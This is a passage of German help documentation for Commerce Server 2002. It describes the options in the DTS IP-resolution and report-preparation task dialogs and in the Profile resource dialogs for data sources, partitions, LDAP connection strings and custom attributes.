Durch den DTS-IP-Auflösungstask werden IP-Adressen (Internet Protocol) aus den importierten Benutzerdaten aufgelöst. IP-Auflösung konvertiert aus Ihren Protokolldateien importierte IP-Adressen in Domänennamen. So wird beispielsweise 198.105.232.4 zu www.microsoft.com. Auf diese Weise können die Leser von Berichten die in den Berichten enthaltenen Daten leichter verstehen.

Weitere Informationen zum Konfigurieren und Ausführen dieses Tasks finden Sie unter Ausführen des DTS-IP-Auflösungstasks.

Die folgende Tabelle enthält die im Dialogfeld Eigenschaften der IP-Auflösung verfügbaren Optionen und Funktionen.

Funktion | Aktion
Beschreibung | Geben Sie eine Beschreibung des Importtasks ein. Die Beschreibung darf maximal 255 Zeichen umfassen.
Data Warehouse | Wählen Sie das Data Warehouse in der Dropdownliste aus, für die eine Auflösung der IP-Adressen durchgeführt wird.
IP-Adressen auflösen Wählen Sie eine der folgenden Optionen aus:
  • Inkrementelle Suche. Wählen Sie diese Option aus, um nur IP-Adressen aufzulösen, die noch nicht aufgelöst wurden.
  • Vollständige Suche. Wählen Sie diese Option aus, um alle IP-Adressen aufzulösen.
Lokaler Domänenname | Geben Sie den lokalen Domänennamen des DNS-Servers (Domain Name Server) ein, der als primärer Server für die Auflösung der IP-Adressen verwendet wird.
Anzahl der Tage für die Zwisch.-speich. des Ergebnisses | Geben Sie die Anzahl von Tagen ein, an denen die aufgelösten IP-Adressen gespeichert werden sollen. Standard sind 30 Tage. Durch Erhöhen der Standardeinstellung erfolgt die Auflösung der IP-Adressen schneller. Dabei werden aber möglicherweise Änderungen an Domänennamen nicht erfasst.
Sekunden bis zum Timeout | Geben Sie die Suchdauer auf dem DNS-Server in Sekunden ein, bevor eine IP-Adresse als nicht auflösbar gekennzeichnet wird. Der Standardwert lautet 10 Sekunden. Wenn Sie einen höheren Wert als Standard wählen, werden zwar mehr IP-Adressen aufgelöst, jedoch dauert die IP-Auflösung länger.
Im Stapel zu behaltende Suchanforderungen | Geben Sie die Anzahl von IP-Adressen ein, die in einem Vorgang auf Ihren DNS-Server übertragen werden sollen. Die Standardeinstellung ist 200. Es kann eine Zahl zwischen 10 und 99.999 gewählt werden.
Anzahl der Wiederholungen | Geben Sie an, wie oft der Task bei Verbindungsfehlern versuchen soll, die Verbindung zum Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie viele Sekunden der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.

Siehe auch

Ausführen des DTS-IP-Auflösungstasks

ETL-Prozess für den DTS-IP-Auflösungstask

Erstellen eines Skripts für den DTS-IP-Auflösungstask

Empfohlene Vorgehensweisen für das Data Warehouse

Workflow zum Ausführen von DTS-Tasks

Problembehandlung beim Data Warehouse-Importvorgang


Dialogfeld "Berichtseigenschaften vorbereiten"

Mit dem DTS-Berichtsvorbereitungstask füllen Sie die OLAP-Cubes (Online Analytical Processing) mit den Daten im Data Warehouse auf. In den OLAP-Cubes ordnet Commerce Server 2002 die im Data Warehouse enthaltenen zusammengefassten Daten, sodass die Berichte in den Analysemodulen in Commerce Server Business Desk schneller ausgeführt werden. Der DTS-Berichtsvorbereitungstask muss immer dann ausgeführt werden, wenn Daten in das Data Warehouse importiert oder aus diesem gelöscht werden.

Hinweis

  • Wenn mehrere Sites gemeinsamen Zugriff auf ein Data Warehouse haben, führen Sie den DTS-Berichtsvorbereitungstask einmal aus, um die Daten für alle Sites zu verarbeiten.

    Bei der Ausführung werden durch den DTS-Berichtsvorbereitungstask alle Sites in dem Data Warehouse verarbeitet. Führen Sie den DTS-Task nicht getrennt für jede Site aus, anderenfalls wird die Leistung des Data Warehouse beeinträchtigt.

  • Wenn Sie zum ersten Mal den DTS-Berichtsvorbereitungstask ausführen, um die OLAP-Cubes im Data Warehouse aufzufüllen, müssen Sie die vollständige Cubeverarbeitung wählen. Nach der Ausführung des DTS-Berichtsvorbereitungstasks können Sie die inkrementelle Cubeverarbeitung ausführen, um nur neue Daten in die OLAP-Cubes zu laden.
  • Auch wenn Sie alle Daten aus dem Data Warehouse gelöscht haben, müssen Sie die vollständige Cubeverarbeitung wählen. Informationen zum Löschen von Daten aus dem Data Warehouse finden Sie unter Ausführen des DTS-Datenlöschungstasks.

Weitere Informationen zum Konfigurieren und Ausführen dieses Tasks finden Sie unter Ausführen des DTS-Berichtsvorbereitungstasks.

Die folgende Tabelle enthält die im Dialogfeld Berichtseigenschaften vorbereiten verfügbaren Optionen und Funktionen.

Funktion | Aktion
Beschreibung | Geben Sie eine Beschreibung des Importtasks ein. Die Beschreibung darf maximal 255 Zeichen umfassen.
Data Warehouse | Wählen Sie das Data Warehouse aus, für das der DTS-Berichtsvorbereitungstask ausgeführt werden soll.
Sites | Wählen Sie die Site in der Dropdownliste aus, welche die in den Analyseberichten zu verwendenden Daten enthält.
Verarbeitungsmodus Wählen Sie eine der folgenden Optionen aus:
  • Vollständig. Wählen Sie diese Option aus, um eine vollständige Cubeverarbeitung durchzuführen.
  • Daten aktualisieren. Wählen Sie diese Option, um alle Daten in den Cubes zu aktualisieren.
  • Inkrementell. Wählen Sie diese Option aus, um eine inkrementelle Cubeverarbeitung durchzuführen.
Anzahl der Wiederholungen | Geben Sie an, wie oft der Task bei Verbindungsfehlern versuchen soll, die Verbindung zum Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie viele Sekunden der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.

Siehe auch

Ausführen des DTS-Berichtsvorbereitungstasks

ETL-Prozess für den DTS-Berichtsvorbereitungstask

Erstellen eines Skripts für den DTS-Berichtsvorbereitungs-Task

Empfohlene Vorgehensweisen für das Data Warehouse

Festlegen der in das Data Warehouse zu importierenden Daten

Workflow zum Ausführen von DTS-Tasks

Problembehandlung beim Data Warehouse-Importvorgang


Hilfe zur Benutzeroberfläche der Profilressource

Dieser Abschnitt enthält die kontextbezogenen Hilfethemen für die Profilressource von Commerce Server 2002. Sie können diese Themen von der Benutzeroberfläche der Profilressource aus aufrufen, indem Sie in den Dialogfeldern der Profilressource auf Hilfe klicken.

Dieser Abschnitt beinhaltet folgende Themen:

  • Profileigenschaften, Registerkarte "Verbindungszeichenfolgen"
  • Eigenschaften von "Profilkatalog", Registerkarte "Allgemein"
  • Eigenschaften von "Profildefinition", Registerkarte "Allgemein"
  • Eigenschaften von "Profildefinition", Registerkarte "Benutzerdefiniertes Attribut"
  • Dialogfeld "Neue Datenquelle"
  • Dialogfeld "Datenquelle"
  • Dialogfeld "Partitionen"
  • Dialogfeld "Partition"
  • Dialogfeld "Systemattribute"
  • Dialogfeld "LDAP-Verbindungszeichenfolgen"
  • Dialogfeld "Neues Datenobjekt"
  • Dialogfeld "Neues Datenelement"
  • Eigenschaften von "Datenelement", Registerkarte "Allgemein"
  • Eigenschaften von "Datenelement", Registerkarte "Eigenschaften"
  • Eigenschaften von "Datenobjekt", Registerkarte "Identität"
  • Dialogfeld "Neue Profildefinition"
  • Dialogfeld "Profildefinition kopieren"
  • Eigenschaften von "Datenquelle", Registerkarte "Allgemein"
  • Dialogfeld "Eigenschaften von Sitebegriffe"
  • Dialog "Benutzerdefiniertes Attribut"


Profileigenschaften, Registerkarte "Verbindungszeichenfolgen"

Mit Commerce Server-Manager können Sie die Verbindungszeichenfolge der Profileigenschaften ändern. Die Verbindungszeichenfolge der Profileigenschaften wird beim Entpacken festgelegt und in der Verwaltungsdatenbank gespeichert.

  • Markieren Sie im Dialogfeld Eigenschaften von Profile (Servername_Datenbankname) auf der Registerkarte Verbindungszeichenfolgen die zu ändernde Verbindungszeichenfolge, und klicken Sie dann auf Ändern.


Eigenschaften von Profilkatalog, Registerkarte "Allgemein"

Mit der Profilressource können Sie die Eigenschaften eines Profilkatalogs ändern.

Die folgende Tabelle enthält die im Dialogfeld Eigenschaften von Profilkatalog auf der Registerkarte Allgemein verfügbaren Optionen und Funktionen.

Funktion | Aktion
Name | Anzeigen des programmtechnischen Profilkatalognamens.
Angezeigter Name | Bearbeiten des angezeigten Profilkatalognamens. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
Beschreibung | Bearbeiten der Beschreibung des Profilkatalogs. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.

Siehe auch

Profildefinitionen

Beispielprofildefinitionen

Hinzufügen von Eigenschaften zu einer Profildefinition

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Profildefinitionen


Eigenschaften von Profildefinition, Registerkarte "Allgemein"

Mit der Profilressource können Sie den Anzeigenamen und die Beschreibung einer Profildefinitionseigenschaft ändern.

Die folgende Tabelle enthält die im Dialogfeld Eigenschaften von Profildefinition auf der Registerkarte Allgemein verfügbaren Optionen und Funktionen.

Funktion | Aktion
Name | Anzeigen des programmtechnischen Namens der bearbeiteten Profildefinition.
Angezeigter Name | Bearbeiten des angezeigten Profilnamens. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
Beschreibung | Bearbeiten der Profilbeschreibung. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.

Siehe auch

Profildefinitionen

Beispielprofildefinitionen

Hinzufügen von Eigenschaften zu Profildefinitionen

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Profildefinitionen


Eigenschaften von Profildefinition, Registerkarte "Benutzerdefiniertes Attribut"

Mit der Profilressource können Sie einer Profildefinition benutzerdefinierte Attribute hinzufügen.

Die folgende Tabelle enthält die im Dialogfeld Eigenschaften von Profildefinition auf der Registerkarte Benutzerdefinierte Attribute verfügbaren Optionen und Funktionen.

Funktion | Aktion
Neu | Klicken Sie hierauf, um das Dialogfeld Benutzerdefiniertes Attribut zu öffnen und ein neues benutzerdefiniertes Attribut zu erstellen.
Bearbeiten | Klicken Sie hierauf, um das Dialogfeld Benutzerdefiniertes Attribut zu öffnen und das ausgewählte benutzerdefinierte Attribut zu bearbeiten.
Löschen | Klicken Sie hierauf, um das ausgewählte benutzerdefinierte Attribut zu löschen.

Siehe auch

Profildefinitionen

Beispielprofildefinitionen

Hinzufügen von Eigenschaften zu Profildefinitionen

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Profildefinitionen


Dialogfeld "Neue Datenquelle"

Mit der Profilressource fügen Sie neue Datenquellen zum Speichern von Profildaten hinzu. Darüber hinaus können mit Datenquellen auch Profildefinitionen zu Datenbanken oder LDAP-Quellen zugeordnet werden. Sie müssen eine Datenbank oder LDAP-Quelle erstellen, bevor Sie eine Datenquelle erstellen können.

Die folgende Tabelle enthält die im Dialogfeld Neue Datenquelle verfügbaren Optionen und Funktionen.

Funktion | Aktion
Name | Eingeben des programmtechnischen Namens der Datenquelle. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
Angezeigter Name | Eingeben des angezeigten Namens der Datenquelle. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
Beschreibung | Eingeben einer kurzen Beschreibung für die Datenquelle. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.

Siehe auch

Datenquellen

Datenquellenpartitionen

Hinzufügen einer neuen Datenquelle

Erstellen einer neuen Datenquelle in der Profilressource

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Datenquellen


Dialogfeld "Datenquelle"

Mit Datenquellen können Sie Profildefinitionen Datenbanken oder LDAP-Quellen zuordnen. Sie müssen eine Datenbank oder LDAP-Quelle erstellen, bevor Sie eine Datenquelle erstellen können. Das Dialogfeld Datenquelle wird angezeigt, wenn Sie im Dialogfeld Neue Datenquelle auf Weiter klicken.

Die folgende Tabelle enthält die im Dialogfeld Datenquelle verfügbaren Optionen und Funktionen.

Funktion | Aktion
Quellentyp | Auswählen des Quellentyps: LDAPv3-kompatible Quelle oder OLEDB-ANSI-Provider.

Siehe auch

Datenquellen

Datenquellenpartitionen

Hinzufügen einer neuen Datenquelle

Erstellen einer neuen Datenquelle in der Profilressource

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Datenquellen


Dialogfeld "Partitionen"

Sie können die Datenquelle partitionieren. Das Dialogfeld Partitionen wird angezeigt, wenn Sie im Dialogfeld Datenquelle auf Weiter klicken.

Die folgende Tabelle enthält die im Dialogfeld Partitionen verfügbaren Optionen und Funktionen.

Funktion | Aktion
Partitionierte Datenquelle | Erstellen mehrerer Partitionen für diese Datenquelle.
Anzahl der Partitionen | Anzeigen der Anzahl bestehender Partitionen für diese Datenquelle.
Hinzufügen | Klicken Sie hierauf, um das Dialogfeld Partition zu öffnen und eine neue Partition zu erstellen.
Bearbeiten | Klicken Sie hierauf, um das Dialogfeld Partition zu öffnen und die ausgewählte Partition zu bearbeiten.

Siehe auch

Datenquellen

Datenquellenpartitionen

Hinzufügen einer neuen Datenquelle

Erstellen einer neuen Datenquelle in der Profilressource

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Datenquellen


Dialogfeld "Partition"

Sie können wahlweise eine neue Partition hinzufügen oder die ausgewählte Partition bearbeiten. Das Dialogfeld Partition wird angezeigt, wenn Sie im Dialogfeld Partitionen auf Hinzufügen klicken.

Die folgende Tabelle enthält die im Dialogfeld Partition verfügbaren Optionen und Funktionen.

Funktion | Aktion
Bearbeiten | Klicken Sie hierauf, um das Dialogfeld LDAP-Verbindungszeichenfolge zu öffnen, wenn im Dialogfeld Datenquelle als Datenquelle LDAPv3-kompatible Quelle ausgewählt wurde. Klicken Sie hierauf, um das Dialogfeld Datenverknüpfungseigenschaften zu öffnen, wenn im Dialogfeld Datenquelle als Datenquelle OLEDB-ANSI-Provider ausgewählt wurde.
Testen | Klicken Sie hierauf, um die Verbindungszeichenfolge zu testen.
Partitionsname | Eingeben eines programmtechnischen Namens für diese Partition. Der Partitionsname kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
Standardpartition | Einrichten dieser Partition als Standardpartition.
LDAPv3-Bindungsinformationen: Benutzername | Eingeben des Benutzernamens für die LDAP-Quelle.
LDAPv3-Bindungsinformationen: Kennwort | Eingeben des Kennworts für die LDAP-Quelle.

Siehe auch

Datenquellen

Datenquellenpartitionen

Hinzufügen einer neuen Datenquelle

Erstellen einer neuen Datenquelle in der Profilressource

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Datenquellen


Dialogfeld "Systemattribute"

Sie müssen die Systemattribute angeben. Das Dialogfeld Systemattribute wird angezeigt, wenn Sie im Dialogfeld Partition auf Weiter klicken.

Die folgende Tabelle enthält die im Dialogfeld Systemattribute verfügbaren Optionen und Funktionen.

Funktion | Aktion
Übergeordneter URL | Eingeben des Speicherorts im Verzeichnispfad, an dem neue Objekte erstellt werden sollen. Der Pfad wird relativ zum Stammverzeichnis angegeben.
Dieselben Informationen für alle Benutzer verwenden | Erzwingen, dass der Profildienst die Anmeldeinformationen für diese Partition für alle Verbindungen verwendet.
Einfache Bindung zulassen | Erzwingen, dass der Profildienst Kennwörter als Klartext sendet.
Dynamischer Container | Verbinden mit einem dynamischen Speicher, z. B. Internet Locator Service (ILS).
Einzelebene | Durchsuchen des Verzeichnisses.
Unterstruktur | Durchsuchen untergeordneter Verzeichnisse.
Domänenname | Eingeben des Domänennamens für den Active Directory-Server. Bei Quellen, die nicht aus Active Directory stammen, verwenden Sie den Computernamen.
Erkennen | Klicken Sie hierauf, um den Domänennamen für den Active Directory-Server zu ermitteln.

Siehe auch

Datenquellen

Datenquellenpartitionen

Hinzufügen einer neuen Datenquelle

Erstellen einer neuen Datenquelle in der Profilressource

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Datenquellen


Dialogfeld "LDAP-Verbindungszeichenfolgen"

Wenn LDAP im Dialogfeld Datenquelle ausgesucht wurde, wird das Dialogfeld LDAP-Verbindungszeichenfolge angezeigt, wenn Sie im Dialogfeld Partition auf Bearbeiten klicken.

Die folgende Tabelle enthält die im Dialogfeld LDAP-Verbindungszeichenfolge verfügbaren Optionen und Funktionen.

Funktion | Aktion
Server | Eingeben des Servernamens, auf dem die LDAP-Quelle gespeichert ist.
Anschluss | Eingeben des Anschlussnamens. Der Standardanschluss ist 389.
Verbindungszeichenfolge | Anzeigen der Verbindungszeichenfolge.

Siehe auch

Datenquellen

Datenquellenpartitionen

Hinzufügen einer neuen Datenquelle

Erstellen einer neuen Datenquelle in der Profilressource

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Datenquellen


Dialogfeld "Neues Datenobjekt"

Mit der Profilressource fügen Sie Datenobjekte zu Datenquellen hinzu. Sie wählen die Tabelle in der Datenbank aus (bzw. die Klasse in der LDAP-Quelle), die die Spalte enthält, in der Sie die für eine Eigenschaft in einer Profildefinition gesammelten Daten speichern möchten.

Bevor Sie die Profilressource zum Erstellen eines Datenobjekts verwenden können, müssen Sie eine Datenquelle erstellen. Sie müssen etwaige Änderungen direkt in der Datenbank bzw. im LDAP-Speicher vornehmen. Zusätzlich muss die Datenquelle ein Datenelement enthalten, bei dem es sich um einen primären Schlüssel für das Datenobjekt handelt.

Die folgende Tabelle enthält die im Dialogfeld Neues Datenobjekt verfügbaren Optionen und Funktionen.

Funktion | Aktion
Objektname | Wählen Sie in der Dropdownliste das Datenobjekt aus, das eine Tabelle oder LDAP-Klasse im zugrunde liegenden Datenspeicher bezeichnet.
Angezeigter Name | Eingeben des Namens, der für das Datenobjekt angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
Beschreibung | Eingeben einer Beschreibung für das Datenobjekt. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
Elemente im Objekt | Anzeigen der Datenelemente des ausgewählten Datenobjekts.

Siehe auch

Datenquellen

Hinzufügen einer neuen Datenquelle

Erstellen einer Profildefinition in der Profilressource

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Datenquellen


Dialogfeld "Neues Datenelement"

Zusätzlich muss die Datenquelle ein neues Datenelement enthalten, bei dem es sich um einen primären Schlüssel für das neue Datenobjekt handelt.

Die folgende Tabelle enthält die im Dialogfeld Neues Datenelement verfügbaren Optionen und Funktionen.

Funktion | Aktion
Elementname | Wählen Sie in der Liste einen Namen für das neue Datenelement aus. Der Name des neuen Datenelements muss für das Datenobjekt eindeutig sein. Das Datenelement muss mit dem Namen einer Spalte oder eines LDAP-Attributs im zugrunde liegenden Datenspeicher übereinstimmen. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
Angezeigter Name | Geben Sie den Namen ein, der in der Anwendung für das Datenelement angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
Beschreibung | Geben Sie eine kurze Beschreibung für das Datenelement ein. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
Typ Geben Sie den Datentyp für das Datenelement ein. Folgende Datentypen werden unterstützt:
  • Binärwert
  • Boolesch
  • Währung
  • Datum/Uhrzeit
  • Zahl
  • Zeichenfolge
Mehrwertig | Aktivieren Sie das Kontrollkästchen, um die Verknüpfung mehrerer Werte mit diesem Datenelement zuzulassen.
Erforderlich | Aktivieren Sie das Kontrollkästchen, wenn das Datenelement obligatorisch ist. Andernfalls ist das Datenelement optional.
Indiziert | Aktivieren Sie das Kontrollkästchen, wenn die Daten dieses Datenelements indiziert werden sollen.
Primärschlüssel | Aktivieren Sie das Kontrollkästchen, um diesem Datenelement den Primärschlüssel zuzuweisen. Sie müssen in jedem Datenobjekt ein Datenelement als Primärschlüssel festlegen.
Hinzufügen | Klicken Sie hierauf, um das neue Datenelement der Liste der Datenelemente hinzuzufügen.
Abschließen | Klicken Sie hierauf, um das Dialogfeld Neues Datenelement zu schließen und den Detailbereich von Commerce Server Manager zu aktualisieren.

Siehe auch

Datenquellen

Hinzufügen einer neuen Datenquelle

Hinzufügen von Eigenschaften zu Profildefinitionen

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Datenquellen


Eigenschaften von Datenelement, Registerkarte "Allgemein"

Mit der Profilressource können Sie die folgenden Eigenschaften eines Datenelements ändern:

  • Angezeigter Name
  • Beschreibung

Die folgende Tabelle enthält die im Dialogfeld Eigenschaften von Datenelement auf der Registerkarte Allgemein verfügbaren Optionen und Funktionen.

Funktion | Aktion
Name | Anzeigen des programmtechnischen Datenelementnamens. Diesen Namen können Sie nicht ändern.
Angezeigter Name | Bearbeiten des Namens, der für das Datenelement angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
Beschreibung | Bearbeiten der Beschreibung des Datenelements. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.

Siehe auch

Datenquellen

Hinzufügen einer neuen Datenquelle

Hinzufügen von Eigenschaften zu Profildefinitionen

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Datenquellen


Eigenschaften von Datenelement, Registerkarte "Eigenschaften"

Die folgende Tabelle enthält die im Dialogfeld Eigenschaften von Datenelement auf der Registerkarte Eigenschaften verfügbaren Optionen und Funktionen.

Funktion | Aktion
Typ | Wählen Sie einen neuen Datentyp für das Datenelement in der Dropdownliste aus.
Mehrwertig | Aktivieren Sie das Kontrollkästchen, wenn die Datenbankspalte (oder das LDAP-Attribut), der das Datenelement zugeordnet ist, mehrwertig ist.
Erforderlich | Aktivieren Sie das Kontrollkästchen, wenn die Datenbankspalte (oder das LDAP-Attribut), der das Datenelement zugeordnet ist, erforderlich ist.
Index | Aktivieren Sie das Kontrollkästchen, wenn die Datenbankspalte (oder das LDAP-Attribut), der das Datenelement zugeordnet ist, indiziert ist.
Primärschlüssel | Aktivieren Sie das Kontrollkästchen, wenn die Datenbankspalte (oder das LDAP-Attribut), der das Datenelement zugeordnet ist, ein Primärschlüssel ist.

Siehe auch

Datenquellen

Hinzufügen einer neuen Datenquelle

Hinzufügen von Eigenschaften zu Profildefinitionen

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Datenquellen


Eigenschaften von Datenobjekt, Registerkarte "Identität"

Die folgende Tabelle enthält die im Dialogfeld Eigenschaften von Datenelement auf der Registerkarte Identität verfügbaren Optionen und Funktionen.

Funktion | Aktion
Name | Anzeigen des programmtechnischen Datenelementnamens.
Angezeigter Name | Bearbeiten des angezeigten Datenobjektnamens. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
Beschreibung | Bearbeiten der Datenobjektbeschreibung. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.

Siehe auch

Datenquellen

Hinzufügen einer neuen Datenquelle

Hinzufügen von Eigenschaften zu Profildefinitionen

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Datenquellen


Dialogfeld "Neue Profildefinition"

Mit der Profilressource erstellen Sie neue Profildefinitionen. Sie können z. B. vom Businessmanager gebeten werden, eine neue Profildefinition zu erstellen, um zusätzliche Daten in Ihrer Website und in Commerce Server Business Desk zur Verfügung zu stellen. Sie können eine Profildefinition erstellen, die automatisch einem Datenobjekt zugeordnet wird. Sie können auch eine Profildefinition erstellen, die nicht einem Datenobjekt zugeordnet wird. Mit Profildefinitionen definieren Sie die Daten, die Sie über die Benutzer sammeln, die Ihre Website besuchen.

Die folgende Tabelle enthält die im Dialogfeld Neue Profildefinition verfügbaren Optionen und Funktionen.

Funktion | Aktion
Name | Eingeben eines programmtechnischen Namens für das neue Profil. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
Angezeigter Name | Eingeben des Namens, der für das neue Profil angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
Beschreibung | Eingeben einer Beschreibung für das neue Profil. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.

Siehe auch

Profildefinitionen

Beispielprofildefinitionen

Hinzufügen von Eigenschaften zu Profildefinitionen

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Profildefinitionen


Dialogfeld "Profildefinition kopieren"

Um eine neue Profildefinition zu erstellen, können Sie eine vorhandene Profildefinition kopieren und im Profil-Designer-Fenster den Namen und die Attribute der neuen Profildefinition ändern.

Die folgende Tabelle enthält die im Dialogfeld Neue Profildefinition verfügbaren Optionen und Funktionen.

Funktion | Aktion
Name | Eingeben eines programmtechnischen Namens für das neue Profil. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
Angezeigter Name | Eingeben des Namens, der für das neue Profil angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
Beschreibung | Eingeben einer Beschreibung für das neue Profil. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.

Siehe auch

Profildefinitionen

Beispielprofildefinitionen

Hinzufügen von Eigenschaften zu Profildefinitionen

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Profildefinitionen


Eigenschaften von Datenquelle, Registerkarte "Allgemein"

Datenquellenpartitionen können benutzerdefinierte Attribute hinzugefügt werden.

Wählen Sie im Dialogfeld Eigenschaften von Datenquelle auf der Registerkarte Partitionen die Partition aus, zu der Sie ein benutzerdefiniertes Attribut hinzufügen möchten, und klicken Sie auf Bearbeiten.

Die folgende Tabelle enthält die im Dialogfeld Eigenschaften von Datenquelle verfügbaren Optionen und Funktionen.

Registerkarte "Allgemein"

Funktion | Aktion
Name | Anzeigen des Datenquellennamens.
Angezeigter Name | Bearbeiten des Namens, der für die Datenquelle angezeigt wird. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
Beschreibung | Bearbeiten der Datenquellenbeschreibung. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.

Registerkarte "Datenquelle"

Funktion | Aktion
Quellentyp | Auswählen des Quellentyps: LDAPv3-kompatible Quelle oder OLEDB-ANSI-Provider.

Registerkarte "Partitionen"

Funktion | Aktion
Partitionierte Datenquelle | Erstellen mehrerer Partitionen für diese Datenquelle.
Anzahl der Partitionen | Anzeigen der Anzahl bestehender Partitionen für diese Datenquelle.
Hinzufügen | Klicken Sie hierauf, um das Dialogfeld Partition zu öffnen und eine neue Partition zu erstellen.
Bearbeiten | Klicken Sie hierauf, um das Dialogfeld Partition zu öffnen und die ausgewählte Partition zu bearbeiten.

Siehe auch

Datenquellen

Datenquellenpartitionen

Hinzufügen einer neuen Datenquelle

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Datenquellen


Dialogfeld "Eigenschaften von Sitebegriffe"

Sitebegriffseigenschaften werden Datenelementen vom Typ Zeichenfolge zugeordnet und haben eine Maximallänge von 255 Unicode-Zeichen. Mehrere Werte einer Sitebegriffseigenschaft werden als Zeichenfolgen gespeichert, die durch Semikolons voneinander getrennt sind.

Die folgende Tabelle enthält die im Dialogfeld Eigenschaften von Sitebegriffe verfügbaren Optionen und Funktionen.

Registerkarte "Allgemein"

Funktion | Aktion
Name | Anzeigen des programmtechnischen Namens der bearbeiteten Profildefinition.
Angezeigter Name | Bearbeiten des angezeigten Profilnamens. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
Beschreibung | Bearbeiten der Profilbeschreibung. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.

Registerkarte "Benutzerdefiniertes Attribut"

Funktion | Aktion
Neu | Klicken Sie hierauf, um das Dialogfeld Benutzerdefiniertes Attribut zu öffnen und ein neues benutzerdefiniertes Attribut zu erstellen.
Bearbeiten | Klicken Sie hierauf, um das Dialogfeld Benutzerdefiniertes Attribut zu öffnen und das ausgewählte benutzerdefinierte Attribut zu bearbeiten.
Löschen | Klicken Sie hierauf, um das ausgewählte benutzerdefinierte Attribut zu löschen.


Dialogfeld "Benutzerdefiniertes Attribut"

Mit der Profilressource fügen Sie benutzerdefinierte Attribute zur Datenquellenpartition hinzu. Benutzerdefinierte Attribute sind anwendungsspezifisch. In der Regel werden die Attribute, die für alle Profildefinitionen oder Datenspeicher gelten, in der Tabelle ClassDef oder SourceDef gespeichert. Es kann jedoch bestimmte Attribute geben, die nur für bestimmte, ausgewählte Datenquellenobjekte gelten. Sie können z. B. ein benutzerdefiniertes Attribut erstellen, um die Sortierreihenfolge von Datenquellen oder Partitionen von Datenquellen beizubehalten, oder um eine Übereinstimmung mit anderen Objekten wie Element- und Quellendefinitionsobjekten zu gewährleisten. Benutzerdefinierte Attribute für Datenquellen stehen nur in der Profilressource zur Verfügung.

Die folgende Tabelle enthält die im Dialogfeld Benutzerdefiniertes Attribut verfügbaren Optionen und Funktionen.

Funktion | Aktion
Name | Eingeben eines programmtechnischen Namens für das Attribut. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Die Verwendung von Leerzeichen ist nicht zulässig.
Angezeigter Name | Eingeben des Namens, der für das neue Attribut angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
Beschreibung | Eingeben einer kurzen Beschreibung für das Attribut. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
Wert | Eingeben des Wertes, der dem Attribut zugewiesen werden soll.


Arbeiten mit Business Desk

In diesem Abschnitt wird beschrieben, wie Sie Websites mithilfe von Commerce Server Business Desk verwalten können. Sie erhalten Erläuterungen zum Auswählen und Aktualisieren von Siteinhalten, Ändern der Anzeigen für wichtige Kunden, Aktualisieren von Katalogen und Veröffentlichen der entsprechenden Änderungen. Darüber hinaus wird die Ausführung von Berichten beschrieben, die Aufschluss darüber geben, wie sich die Änderungen auf die Produktivität der Website auswirken.

Hinweis

Commerce Server 2002 umfasst zwei Dokumentationsteile:

